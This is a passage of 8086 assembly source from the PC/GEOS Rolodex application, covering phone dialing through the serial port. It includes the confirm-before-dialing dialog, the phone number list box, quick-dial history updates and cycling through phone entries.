es:[di].PEI_offsets ; es:bx <- store ptr to string add di, offset PEI_stringHeap ; ds:si <- next string on heap ; The first string (string 0) is null. mov es:[bx], offset PEI_stringHeap mov {word} es:[di], 0 ; always clear a word (compatible) add bx, (size word) ; advance pointer add di, (size word) ; advance string placement mov si, offset ds:PhoneHomeString ; chunk handle call derefCopyString mov si, offset ds:PhoneWorkString call derefCopyString mov si, offset ds:PhoneCarString call derefCopyString mov si, offset ds:PhoneFaxString call derefCopyString mov si, offset ds:PhonePagerString call derefCopyString mov si, offset ds:EmailString call derefCopyString ; The remaining string pointers are NULL from the `movsw' above. ; ; Unlock and cleanup ; call DBUnlock ; free "ES" (phone type names) pop bx ; retrieve Strings handle call MemUnlock ; unlock the block (DS) pop ds, es ; ; initialize some variables ; mov ds:[gmb.GMB_totalPhoneNames], INDEX_TO_STORE_FIRST_ADDED_PHONE_TYPE mov ds:[gmb.GMB_curPhoneIndex], 1 ; display HOME initially call MarkMapDirty ; mark the map block dirty ret ; ------------------------------------------------- ; PASS: ds:si - chunk handle ; es:di - string dest ; es:[bx] - where to store ptr to start of string ; dx - base address of DBItem ; RETURN: ax, si, di - trashed ; es:bx - advanced (by nptr) ; derefCopyString: mov ax, di ; compute relative offset sub ax, dx mov es:[bx], ax ; store start of string add bx, (size word) ; advance str pointer mov si, ds:[si] ; dereference the handle LocalCopyString ; copy the null terminator retn ; ------------------------------------------------- ; PASS: es:di - chunk handle ; RETURN: cx - string size including C_NULL ; di - past end of string ; ax - trashed ; derefStringSize: mov di, es:[di] ; dereference the handle LocalStrSize IncludeNull ; how many bytes retn CreatePhoneTypeTable endp Init ends DialCode segment resource PhoneTable label word word offset PhoneNumberListOne word offset PhoneNumberListTwo word offset PhoneNumberListThree word offset PhoneNumberListFour word offset PhoneNumberListFive word offset PhoneNumberListSix word offset PhoneNumberListSeven PhoneNameTable label word word offset PhoneNameOne word offset PhoneNameTwo word offset PhoneNameThree word offset PhoneNameFour word offset PhoneNameFive word offset PhoneNameSix word offset PhoneNameSeven PhoneNoTable label word word offset PhoneNumberOne word offset PhoneNumberTwo word offset PhoneNumberThree word offset PhoneNumberFour word offset PhoneNumberFive word offset PhoneNumberSix word offset PhoneNumberSeven COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% RolodexDial %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Makes a phone call. Message handler when the user clicks on the "Dial" button. CALLED BY: (GLOBAL) MSG_ROLODEX_AUTO_DIAL PASS: ds - dgroup serialHandle phoneFlag recStatus curRecord fieldHandles[TEFO_PHONE_NO] gmb.GMB_curPhoneIndex RETURN: nothing DESTROYED: ax, bx, cx, dx, es, si, di, bp PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- Ted 12/7/89 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ RolodexDial proc far class RolodexClass ; first check to see if the serial driver has been loaded tst ds:[serialHandle] jne noError ; if so, skip ; if not, put up an error message and quit mov bp, ERROR_NO_SERIAL_DRIVER call DisplayErrorBox jmp exit noError: ; check to see if 'confirm before dialing' option is set andnf ds:[phoneFlag], not mask PF_CONFIRM ; clear confirm box flag mov si, offset DialingOptions ; bx:si - OD of GenItemGroup GetResourceHandleNS DialingOptions, bx mov ax, MSG_GEN_BOOLEAN_GROUP_IS_BOOLEAN_SELECTED mov cx, mask DOF_CONFIRM ; cx - identifier mov di, mask MF_CALL or mask MF_FIXUP_DS call ObjMessage jnc noConfirm ; if turned off, skip ; check to see if we are to dial currently display number ornf ds:[phoneFlag], mask PF_CONFIRM ; set confirm box flag noConfirm: mov si, offset PhoneListOption ; bx:si - OD of GenItem GetResourceHandleNS PhoneListOption, bx mov ax, MSG_GEN_ITEM_GROUP_GET_SELECTION mov di, mask MF_CALL or mask MF_FIXUP_DS call ObjMessage ; ax - identifier tst ax je phoneList ; skip if display phone list option is set ; update the current record if any phone entry has been changed blank: call UpdatePhoneEntryInRecord jc exit ; exit if error ; exit if the current phone number field is empty test ds:[recStatus], mask RSF_PHONE_NO_EMPTY jne exit ; open up the current record entry mov di, ds:[curRecord] tst di jne notBlank ; if current record is blank, locate the phone number string mov bx, ds:fieldHandles[TEFO_PHONE_NO] tst bx je exit call MemLock ; lock the block with phone number mov es, ax clr di ; es:di - ptr to phone number string mov ax, ds:fieldLengths[TEFO_PHONE_NO] ; ax - size of string DBCS < shl ax, 1 ; ax - size of string > jmp bringUpBox notBlank: mov cx, ds:[gmb.GMB_curPhoneIndex] call DBLockNO mov di, es:[di] add di, es:[di].DBR_toPhone ; es:di - ptr to phone entries tst cx je found miniLoop: if DBCS_PCGEOS mov ax, es:[di].PE_length shl ax, 1 ; ax - string size add di, ax ; advance ptr else add di, es:[di].PE_length endif add di, size PhoneEntry loop miniLoop ; check the next entry found: mov ax, es:[di].PE_length DBCS< shl ax, 1 ; ax - string size > bringUpBox: ; es:di - pointer to the PhoneEntry ; ax - size of phone number string call InitiateConfirmBox ; bring up confirm DB jmp exit phoneList: tst ds:[curRecord] ; check to see if a blank rec je blank ; if so, go back up call DisplayPhoneList ; bring up the phone list DB exit: ret RolodexDial endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% RolodexDialFromPhoneList %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Message handler when the user selects a phone number from the phone number list dialog box. CALLED BY: (GLOBAL) MSG_ROLODEX_DIAL_FROM_PHONE_LIST PASS: cx - indicates which phone number button is selected RETURN: nothing DESTROYED: ax, bx, cx, dx, si, di, bp, es SIDE EFFECTS: nothing PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- THK 10/92 Initial revision %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ RolodexDialFromPhoneList proc far class RolodexClass ; open up the current record entry mov di, ds:[curRecord] call DBLockNO mov di, es:[di] add di, es:[di].DBR_toPhone ; es:di - ptr to phone entries ; find the phone number entry was clicked upon miniLoop: tst es:[di].PE_length ; is there a phone number? je next ; if not, check next tst cx ; have we found it? je skip ; if so, skip if DBCS_PCGEOS mov ax, es:[di].PE_length shl ax, 1 ; ax - phone entry size add di, ax ; advance ptr else add di, es:[di].PE_length endif add di, size PhoneEntry dec cx ; are we done yet? jns miniLoop ; if not, continue jmp skip ; if so, display this number next: if DBCS_PCGEOS mov ax, es:[di].PE_length shl ax, 1 ; ax - phone entry size add di, ax ; advance ptr else add di, es:[di].PE_length endif add di, size PhoneEntry jmp short miniLoop ; check the next entry skip: mov ax, es:[di].PE_length ; es:di - pointer to the PhoneEntry ; ax - length of phone number string call InitiateConfirmBox ret RolodexDialFromPhoneList endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% InitiateConfirmBox %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Bring up the confirm phone number dialog box. CALLED BY: (INTERNAL) RolodexDial, RolodexDialFromPhoneList PASS: es:di - ptr to PhoneEntry ax - string length of the phone number RETURN: nothing DESTROYED: ax, bx, cx, dx, es, si, di, bp SIDE EFFECTS: nothing PSEUDO CODE/STRATEGY: IMPORTANT: es:di points to a string in a locked DB block, which will be return unlocked in this routine. REVISION HISTORY: Name Date Description ---- ---- ----------- THK 10/92 Initial revision witt 1/94 DBCS-ized, ax = length %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ InitiateConfirmBox proc near ; copy the phone number string into a memory block tst ds:[curRecord] ; was curent record blank? je blank ; if so, skip mov ds:fieldLengths[TEFO_PHONE_NO], ax ; save the size of string add di, size PhoneEntry ; es:di - ptr to phone number call CopyPhoneNumberIntoMemBlock call DBUnlock ; unlock the passed block jmp common blank: mov bx, ds:fieldHandles[TEFO_PHONE_NO] ; unlock the data block call MemUnlock common: ; check to see if 'confirm before dialing' option is set test ds:[phoneFlag], mask PF_CONFIRM jne confirm ; if turned on, skip call RolodexDialCurrentNumber ; dial the number jmp exit confirm: ; add any prefix or area code numbers if necessary call GetPhoneNumber mov dx, ds:[phoneNoBlk] ; dx - seg addr of phone block mov di, ds:[phoneOffset] LocalPrevChar esdi mov es, dx LocalClrChar es:[di] ; null terminate the string ; place the phone number into the confirm dialog box clr bp ; dx:bp - ptr to string clr cx ; cx - string null terminated mov si, offset ConfirmEditBox ; bx:si - OD of text object GetResourceHandleNS ConfirmEditBox, bx mov ax, MSG_VIS_TEXT_REPLACE_ALL_PTR mov di, mask MF_CALL or mask MF_FIXUP_DS call ObjMessage ; display the phone number ; bring up the confirm dialog box mov si, offset ConfirmBox ; bx:si - OD of dialogue box GetResourceHandleNS ConfirmBox, bx mov ax, MSG_GEN_INTERACTION_INITIATE mov di, mask MF_FIXUP_DS call ObjMessage ; make the dialogue box appear exit: ret InitiateConfirmBox endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% CopyPhoneNumberIntoMemBlock %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Copy the phone number string into a memory block. CALLED BY: (INTERNAL) InitiateConfirmBox PASS: es:di - string to copy ax - phone string length RETURN: fieldHandles[TEFO_PHONE_NO] - new mem handle DESTROYED: ax, bx, cx, di, si SIDE EFFECTS: nothing PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- THK 10/92 Initial revision %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ CopyPhoneNumberIntoMemBlock proc near uses es, ds .enter ; allocate a new data block push es, di mov cx, (HAF_STANDARD_NO_ERR_LOCK shl 8) or 0 ; HeapAllocFlags DBCS< shl ax, 1 ; ax - string size > call MemAlloc ; allocate the block mov ds:fieldHandles[TEFO_PHONE_NO], bx ; save the handle ; copy the phone number string into a memory block mov cx, ds:fieldLengths[TEFO_PHONE_NO] ; cx - # of chars to copy mov es, ax clr di ; es:di - destination pop ds, si ; ds:si - source string LocalCopyNString ; copy the string call MemUnlock .leave ret CopyPhoneNumberIntoMemBlock endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% RolodexDialCurrentNumber %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Dial the phone number that's passed in or dial the number from the confirm box. CALLED BY: (GLOBAL) MSG_ROLODEX_DIAL_CUR_NUMBER (INTERNAL) InitiateConfirmBox RETURN: fieldHandles[TEFO_PHONE_NO] - mem block with phone number RETURN: nothing DESTROYED: ax, bx, cx, dx, si, di, bp SIDE EFFECTS: nothing PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- THK 10/92 Initial revision %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ RolodexDialCurrentNumber proc far class RolodexClass ; check to see if 'confirm before dialing' option is set test ds:[phoneFlag], mask PF_CONFIRM je dial ; if turned off, skip ; read in the phone number to dial from confirm dialog box ; just in case the user has modified it GetResourceHandleNS ConfirmEditBox, bx mov si, offset ConfirmEditBox ; bx:di - OD of text object call GetTextInMemBlock ; read in phone number ; ax - handle of memory block created ; cx - number of bytes in this memory block tst cx ; no text? je done ; exit then mov ds:[phoneHandle], ax ; save the handle DBCS < shl cx ; # of bytes in string > mov ds:[phoneOffset], cx ; save # of bytes in string ; terminate the string with carriage return mov bx, ax ; bx - handle of data block call MemLock mov es, ax mov di, cx ; es:di - ptr to end of data SBCS< mov {char} es:[di], C_CR ; terminate the string w/ CR > DBCS< mov {wchar} es:[di], C_CR ; terminate the string w/ CR > call MemUnlock LocalNextChar ds:[phoneOffset] dial: call OpenComPort ; try opening com port jc done ; exit if error call DialUp ; call this number jc done ; skip if error test ds:[recStatus], mask RSF_NEW ; is this record inserted? jne done ; if not, exit mov bx, ds:[curRecord] ; bx - current record handle mov cl, ds:[curPhoneType] ; cl - phone number type name ID # if _QUICK_DIAL call UpdatePhoneCount ; update the phone call count ; update the frequency and history tables ornf ds:[phoneFlag], mask PF_AUTO_DIAL ; called form auto dial call UpdateFreqTable ; update quick dial tables jc done ; exit if error mov cl, ds:[curPhoneType] ; cl - phone number type name ID # call UpdateHistTable jc done ; exit if error call UpdateMonikers ; update monikers on quick dial window endif ;if _QUICK_DIAL andnf ds:[phoneFlag], not mask PF_AUTO_DIAL ; clear auto dial flag done: mov bx, ds:fieldHandles[TEFO_PHONE_NO] ; bx - handle of text data block tst bx ; no mem block to delete? je exit ; if none, exit call MemFree ; delete it clr ds:fieldHandles[TEFO_PHONE_NO] ; clear the handle in table exit: ret RolodexDialCurrentNumber endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% DisplayPhoneList %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Bring up the phone number list DB. CALLED BY: RolodexDial PASS: ds - dgroup curRecord RETURN: nothing DESTROYED: ax, bx, cx, dx, si, di, bp, es SIDE EFFECTS: nothing PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- THK 10/92 Initial revision %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ DisplayPhoneList proc near .enter ; update the current record if any phone entry has been changed call UpdatePhoneEntryInRecord LONG jc exit ; exit if error ; check to see if current record has any phone number to dial call CheckForNoPhoneEntry LONG jc exit ; exit if no phone entry ; initially mark all phone list box objects not usable call MakePhoneListBoxObjectsNotUsable ; add the index field of current record to phone list box call AddIndexFieldToPhoneListBox ; lock the current record entry mov di, ds:[curRecord] call DBLockNO mov di, es:[di] clr bp mov cx, es:[di].DBR_noPhoneNo mov bx, es:[di].DBR_toPhone ; get offset to string add di, bx miniLoop: ; bp - offset into PhoneTable ; cx - number of phone entries left ; bx - offset to current phone entry from beginning of record ; es:di - pointer to the current phone entry tst es:[di].PE_length ; skip this entry if empty je next ; first make the objects inside phone list box usable push bx, di mov si, cs:PhoneTable[bp] GetResourceHandleNS WindowResource, bx mov ax, MSG_GEN_SET_USABLE mov di, mask MF_FIXUP_DS mov dl, VUM_NOW ; dl - do it right now call ObjMessage ; make this object usable pop bx, di ; if not empty add the phone number to the phone list box call AddPhoneNumberToPhoneListBox mov al, es:[di].PE_type ; al - phone type name ID mov dx, es:[di].PE_length ; dx - # of bytes in phone no. call DBUnlock ; now add phone type name to the phone list box call DrawPhoneMonikers ; lock the current record entry again mov di, ds:[curRecord] call DBLockNO mov di, es:[di] ; figure out the pointer to the next phone entry add di, bx add di, dx DBCS< add di, dx ; add size to di > add bx, dx DBCS< add bx, dx ; point past this phone number string> add bp, 2 next: add di, size PhoneEntry add bx, size PhoneEntry loop miniLoop ; check the next phone entry call DBUnlock ; mark phone list box usable mov si, offset PhoneNumberListBox GetResourceHandleNS PhoneNumberListBox, bx mov ax, MSG_GEN_SET_USABLE mov di, mask MF_FIXUP_DS mov dl, VUM_NOW ; do it right now call ObjMessage ; make the window usable ; bring up the phone list box mov ax, MSG_GEN_INTERACTION_INITIATE mov di, mask MF_FIXUP_DS ; di - set flags call ObjMessage ; display the window exit: .leave ret DisplayPhoneList endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% UpdatePhoneEntryInRecord %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Update the current record if the phone number entry has been changed. CALLED BY: (INTERNAL) DisplayPhoneList PASS: ds - dgroup ds:recStatus ds:fieldHandles[TEFO_PHONE_NO] RETURN: carry set if there was an error carry clear otherwise DESTROYED: ax, bx, cx, dx, si, di SIDE EFFECTS: nothing PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- THK 10.92 Initial revision %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ UpdatePhoneEntryInRecord proc near ; read in text from phone number text field mov cx, 1 mov di, TEFO_PHONE_NO call GetRecord ; exit if the current phone number field is empty test ds:[recStatus], mask RSF_PHONE_NO_EMPTY jne exit ; Is it a new record? test ds:[recStatus], mask RSF_NEW je saveRecord ; Save phone part if this is a new record clr ds:[phoneFieldDirty] call SaveCurPhone ; save current phone number jc exit ; if carry set, exit jmp doneSaving saveRecord: ; if new phone number has been entered and this isn't a new record ; then update the phone number entry in this record call SaveCurRecord jc error ; exit if the index field was not left blank doneSaving: test ds:[recStatus], mask RSF_WARNING je exit andnf ds:[recStatus], not mask RSF_WARNING ; clear warning flag error: ; delete the memory block that holds phone number string mov bx, ds:fieldHandles[TEFO_PHONE_NO] tst bx ; no mem block to delete? je quit ; if none, exit call MemFree clr ds:fieldHandles[TEFO_PHONE_NO] ; clear the handle in table quit: stc ; carry set if error jmp done exit: clc ; carry clear if no error done: ret UpdatePhoneEntryInRecord endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% CheckForNoPhoneEntry %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Check to see if there are phone numbers for the current record. CALLED BY: (INTERNAL) DisplayPhoneList PASS: nothing RETURN: carry set there are no phone numbers carry clear otherwise DESTROYED: ax, bx, cx, dx, si, di, bp SIDE EFFECTS: nothing PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- THK 10/92 Initial revision %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ CheckForNoPhoneEntry proc near mov di, ds:[curRecord] ; di - handle of cur record tst di ; a blank record? je quit ; if so, exit ; check to see if there any phone entries with phone numbers call DBLockNO mov di, es:[di] mov cx, es:[di].DBR_noPhoneNo add di, es:[di].DBR_toPhone next: tst es:[di].PE_length ; is this an empty phone entry? jne unlock ; if not, exit add di, size PhoneEntry loop next ; check the next entry call DBUnlock ; there is no phone number to dial, put up a message mov bp, ERROR_NO_PHONE_ENTRY call DisplayErrorBox quit: stc jmp exit unlock: call DBUnlock clc exit: ret CheckForNoPhoneEntry endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% MakePhoneListBoxObjectsNotUsable %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Set all of objects inside phone number list box not usable CALLED BY: (INTERNAL) DisplayPhoneList PASS: PhoneTable - table of offsets to objects RETURN: nothing DESTROYED: ax, bx, cx, dx, di, bp SIDE EFFECTS: nothing PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- THK 10/92 Initial revision %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ MakePhoneListBoxObjectsNotUsable proc near ; initially mark all objects inside phone list box not usable mov cx, MAX_PHONE_NO_RECORD-2 ; cx - # of objects to mark not usable next: mov bp, cx shl bp, 1 ; bp - index into PhoneTable mov si, cs:PhoneTable[bp] ; bx:si - OD of dialog box GetResourceHandleNS WindowResource, bx mov ax, MSG_GEN_SET_NOT_USABLE mov di, mask MF_FIXUP_DS mov dl, VUM_NOW ; dl - do it right now call ObjMessage ; make this object not usable dec cx ; are we done? jns next ; if not, continue ret MakePhoneListBoxObjectsNotUsable endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% AddIndexFieldToPhoneListBox %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Add index field string to the phone number list box. CALLED BY: (INTERNAL) DisplayPhoneList PASS: nothing RETURN: nothing DESTROYED: ax, bx, cx, dx, di, es SIDE EFFECTS: nothing PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- THK 10/92 Initial revision %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ AddIndexFieldToPhoneListBox proc near ; open up the current record entry mov di, ds:[curRecord] call DBLockNO mov di, es:[di] add di, size DB_Record ; es:di - index field ; add index field text string to the phone list box mov si, offset NameDisplay ; bx:si - OD of text object GetResourceHandleNS NameDisplay, bx ; display the string mov dx, es mov bp, di ; dx:bp - string to display clr cx ; the string is null terminated mov ax, MSG_VIS_TEXT_REPLACE_ALL_PTR mov di, mask MF_CALL or mask MF_FIXUP_DS call ObjMessage ; add the text string to text object call DBUnlock ret AddIndexFieldToPhoneListBox endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% AddPhoneNumberToPhoneListBox %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Add phone number string to the phone number list DB. CALLED BY: (INTERNAL) DisplayPhoneList PASS: bp - offset into PhoneNoTable es:di - points to PhoneEntry RETURN: nothing DESTROYED: ax, dx, si SIDE EFFECTS: nothing PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- THK 10/92 Initial revision %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ AddPhoneNumberToPhoneListBox proc near uses bx, cx, bp, di .enter ; bx:si - OD of phone number object inside phone list box mov si, cs:PhoneNoTable[bp] GetResourceHandleNS WindowResource, bx ; display the phone number inside the phone list box add di, size PhoneEntry mov bp, di mov dx, es ; dx:bp - ptr to string to display clr cx ; the string is null terminated mov ax, MSG_VIS_TEXT_REPLACE_ALL_PTR mov di, mask MF_CALL or mask MF_FIXUP_DS or mask MF_FIXUP_ES call ObjMessage ; add text stirng to phone list box .leave ret AddPhoneNumberToPhoneListBox endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% DrawPhoneMonikers %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Creates a new moniker for a GenTrigger. CALLED BY: (INTERNAL) RolodexDial PASS: al - current phone type name ID RETURN: nothing DESTROYED: ax, si, di, es PSEUDO CODE/STRATEGY: Locate the string to be used as a moniker Allocate a data block Initialize some variables Copy the index field text string Copy the phone number type name field text string Create a chunk for this string inside UI block Set the moniker for the button KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Ted 12/8/89 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ DrawPhoneMonikers proc near uses bx, cx, dx, bp, ds .enter ; find the phone type name string to display mov di, ds:[gmb.GMB_phoneTypeBlk] call DBLockNO push es mov di, es:[di] mov si, di ; save the pointer in si ; using phone type ID, figure out where the string is mov dl, al ; dl - current phone # type ID clr dh shl dx, 1 tst dx jne nonZero mov dx, 2 nonZero: add si, dx ; si - ptr to offset add di, es:[si] ; es:di - ptr to phone type string ; get the number of bytes in phone type name string call LocalStringSize mov dx, cx ; dx - number of bytes (w/out C_NULL) mov si, cs:PhoneNameTable[bp] GetResourceHandleNS WindowResource, bx ; bx:si - OD of phone type name object inside phone list box ; es:di - ptr to phone type name string to be copied into the moniker ; dx - number of bytes to copy (w/out C_NULL) push bx, si push es, di ; allocate a new data block mov ax, PHONE_MONIKER_SIZE ; ax - size of data block mov cx, (HAF_STANDARD_NO_ERR_LOCK shl 8) or 0 ; HeapAllocFlags call MemAlloc ; allocate the block mov es, ax ; set up the segment mov es:[0], bx ; store the block handle mov di, 2 ; ES:DI starts the string ; fill the 1st ten chars of data block with space s mov cx, 10 mov si, di LocalLoadChar ax, ' ' ; store ax ' ' mainLoop: LocalPutChar essi, ax loop mainLoop LocalClrChar es:[si] ; and null terminate it pop ds, si ; ds:si - source string mov cx, dx ; cx - # of bytes to copy rep movsb ; copy the name pop bx, si ; bx:si - OD of dialog box ; replace the text of visMoniker with this new string mov di, 2 mov cx, es mov dx, di ; cx:dx - ptr to the string mov bp, VUM_MANUAL ; bp - update mode mov ax, MSG_GEN_REPLACE_VIS_MONIKER_TEXT mov di, mask MF_CALL or mask MF_FIXUP_DS or mask MF_FIXUP_ES call ObjMessage mov bx, es:[0] ; put block handle in BX call MemFree ; free it up ; unlock phone type name block pop es call DBUnlock .leave ret DrawPhoneMonikers endp DialCode ends CommonCode segment resource COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% RolodexPhoneDown %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: This routine is called when down arrow to the left of phone fields is pressed. CALLED BY: MSG_ROLODEX_PHONE_DOWN PASS: ds - segment of core block cx = 0 if scroll down button is pressed cx = GenTextStatusFlags if MSG_GEN_APPLY RETURN: both gmb.GMB_curPhoneIndex and curPhoneType updated DESTROYED: ax, bx, cx, dx, es, si, di, bp PSEUDO CODE/STRATEGY: Save out currently display phone number if modified Clear phone fields Get the next phone number When cycling through, we show only one blank phone type. A blank record has only the default count of phone types plus one blank. Display the next phone number and type name KNOWN BUGS/SIDE EFFECTS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- Ted 12/5/89 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ RolodexPhoneDown proc far class RolodexClass ; class definition ; first save the current phone number if it is modified mov ds:[phoneFieldDirty], cx call SaveCurPhone ; save current phone number jc done ; if carry set, exit ; clear the phone number and type fields mov cx, 2 ; cx - # of text fields to clear mov si, TEFO_PHONE_TYPE ; si - offset to phone type name field call ClearTextFields ; clear both phone fields mov di, ds:[curRecord] tst di ; blank record? je blank ; if so, skip ; lock the current record entry call DBLockNO mov di, es:[di] mov cx, ds:[gmb.GMB_curPhoneIndex] ; cx - current phone counter test ds:[phoneFlag], mask PF_DONT_INC_CUR_PHONE_INDEX jne clearFlag ; skip if a phone # has been deleted ; ; Determine index of phone type to show next ; cx = current 'gmb.GMB_curPhoneIndex' ; cmp es:[di].DBR_noPhoneNo, MAX_PHONE_NO_RECORD ; enough phone #'s? je disable ; if so, disable an arrow button. inc cx ; if not, increment phone counter cmp cx, es:[di].DBR_noPhoneNo ; was this last phone number? jb displayPhone ; if not, skip firstPhone: clr cx ; if so, display 1st phone # ; display the phone number displayPhone: mov ds:[gmb.GMB_curPhoneIndex], cx ; save the phone number counter mov bp, ds:[curRecord] ; bp - current record handle call DisplayPhoneNoField ; display this phone number call DBUnlock andnf ds:[recStatus], not mask RSF_EMPTY ; assume not a blank record exit: call FocusPhoneField ; give focus to phone number edit field done: ret ; exit clearFlag: andnf ds:[phoneFlag], not mask PF_DONT_INC_CUR_PHONE_INDEX ; clear flag cmp cx, es:[di].DBR_noPhoneNo ; was this last phone number? je firstPhone ; if not, skip jmp short displayPhone ; display the phone number & type ; --------------------------------------------------------- ; The record is blank, use default counts for cycling. ; One empty phone name type is shown. ; blank: mov cx, ds:[gmb.GMB_curPhoneIndex] ; cx - phone number counter inc cx ; get the next phone number cmp cx, NUM_DEFAULT_PHONE_TYPES ; was this the last phone #? jne increment ; if not, skip clr cx ; if so, display the 1st phone # increment: mov ds:[gmb.GMB_curPhoneIndex], cx ; save the phone number counter inc cx mov ds:[curPhoneType], cl ; save the current phone type ID call DisplayPhoneType ; display the phone number & type jmp exit ; quit 